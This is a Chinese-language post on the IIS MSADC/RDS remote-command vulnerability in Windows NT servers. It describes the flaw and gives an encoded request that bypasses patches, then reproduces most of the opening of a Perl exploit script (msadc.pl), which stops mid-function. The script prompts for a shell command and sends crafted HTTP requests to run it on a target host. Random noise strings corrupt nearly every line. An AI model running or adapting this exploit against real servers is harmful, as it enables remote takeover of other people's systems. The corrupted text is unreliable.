IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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涉及程序:
M9{?gM9 Microsoft NT server
yW.s?3X RG=!,#X 描述:
/g3U,?qP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"WOY`su> *9}2Bmojv 详细:
:_YpSw<Q 如果你没有时间读详细内容的话,就删除:
1_uq46 c:\Program Files\Common Files\System\Msadc\msadcs.dll
'ypJGm 有关的安全问题就没有了。
is`Eqcj`dr yu~~"Rq) 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
,mH2S/<}S ^y"Rdv 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
E<;C@B 关于利用ODBC远程漏洞的描述,请参看:
(v*$ExF q:.URl http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H aI `i0RLGze 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
-p =b5L http://www.microsoft.com/security/bulletins/MS99-025faq.asp UPgjf H)1< ;{: 这里不再论述。
S/pTFlptCa o|G.tBpKg 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
+hg|!SS@5 z-nhL= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
O`-JKZc 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
FCU~*c8Cs ;1K[N0xE Qy |*[ #将下面这段保存为txt文件,然后: "perl -x 文件名"
u(\O G@b|{! #!perl
*b9=&:pU( #
E`.dU<8HE # MSADC/RDS 'usage' (aka exploit) script
z>+@pj
#
x7 jE
Ns ) # by rain.forest.puppy
^yiRrcOo #
& D4'hL3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
};!S2+ # beta test and find errors!
rWEJCFa 7a 4G: use Socket; use Getopt::Std;
;_),?( getopts("e:vd:h:XR", \%args);
h\afO AjB-&Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PvX>+y5 hrPm$` if (!defined $args{h} && !defined $args{R}) {
4M'y9 ( print qq~
7*]O]6rP Usage: msadc.pl -h <host> { -d <delay> -X -v }
yhg^1l|t, -h <host> = host you want to scan (ip or domain)
hSE\RX 9 -d <seconds> = delay between calls, default 1 second
Z?Y14L~% -X = dump Index Server path table, if available
{j.5!Nj]B -v = verbose
-kT *gIJ} -e = external dictionary file for step 5
jHq.W95+P @#$5_uU8\( Or a -R will resume a command session
u{maE , EE5I~k5 ~; exit;}
]Sg4>tp EOWLGleD1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9mfqr$3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
deO/` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H'Q4IRT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-v#0.3zm $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hDI_qZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{[QCuR HM ;9%rtO if (!defined $args{R}){ $ret = &has_msadc;
< TJzp die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W3K?K- 6tBL?'pG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`''\FPhh . "cmd /c ";
`+cc{k $in=<STDIN>; chomp $in;
,,vl+Z<& $command="cmd /c " . $in ;
["VUSa /iFtW#K+ if (defined $args{R}) {&load; exit;}
oZTKG' uQgv ;jsPz print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
qg6283'? &try_btcustmr;
'B0=
"7 z/yNFY]i print "\nStep 2: Trying to make our own DSN...";
wd&Tf
R4! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Kt5;GUV |9cJO@ print "\nStep 3: Trying known DSNs...";
nw|ls2 &known_dsn;
7jP
C{W 1,q&A
RTS print "\nStep 4: Trying known .mdbs...";
W,'30:#Fr7 &known_mdb;
CqGi
2<2 qBL>C\V + if (defined $args{e}){
I[u%kir print "\nStep 5: Trying dictionary of DSN names...";
co^kP##Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F"o
K*s z.EpRJn print "Sorry Charley...maybe next time?\n";
O3H dPQ exit;
$< &N# 6S*L[zBnA\ ##############################################################################
;Gf,$dbWn znm3b8ns sub sendraw { # ripped and modded from whisker
\D
Oq x sleep($delay); # it's a DoS on the server! At least on mine...
{akS K my ($pstr)=@_;
VnqgN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%dA6vHI, die("Socket problems\n");
);X&J:-l+ if(connect(S,pack "SnA4x8",2,80,$target)){
K)!yOa'fH select(S); $|=1;
`a*_b9 print $pstr; my @in=<S>;
<7-Qn(m, select(STDOUT); close(S);
Rs*]I\ return @in;
$J]VY;C! } else { die("Can't connect...\n"); }}
6@ B_3y IpX.ube ##############################################################################
_J' _9M?> z u53mZ sub make_header { # make the HTTP request
Ll4/P[7:? my $msadc=<<EOT
[=f(u
wY>g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!$}:4}56F User-Agent: ACTIVEDATA
`xb\) Host: $ip
=gSa?pd Content-Length: $clen
XEK% \o} Connection: Keep-Alive
:x85:pa `cu W^/c ADCClientVersion:01.06
tb#9TF Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b8Bf,&:ys njhDrwN --!ADM!ROX!YOUR!WORLD!
Fog4m=b`g Content-Type: application/x-varg
*2nQZ^c. Content-Length: $reqlen
{w/{)BnPG q.xt%`@aA EOT
k9]M=eO ; $msadc=~s/\n/\r\n/g;
e+'PRVc return $msadc;}
#Tm^$\*h\] +OEheG8 ##############################################################################
AcRrk F?h{IH
f sub make_req { # make the RDS request
c:[z({` my ($switch, $p1, $p2)=@_;
)1E[CIaXK my $req=""; my $t1, $t2, $query, $dsn;
3
VNPdXsh h`{agWB if ($switch==1){ # this is the btcustmr.mdb query
c4\Nuy
$query="Select * from Customers where City=" . make_shell();
I%4)% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cD&Q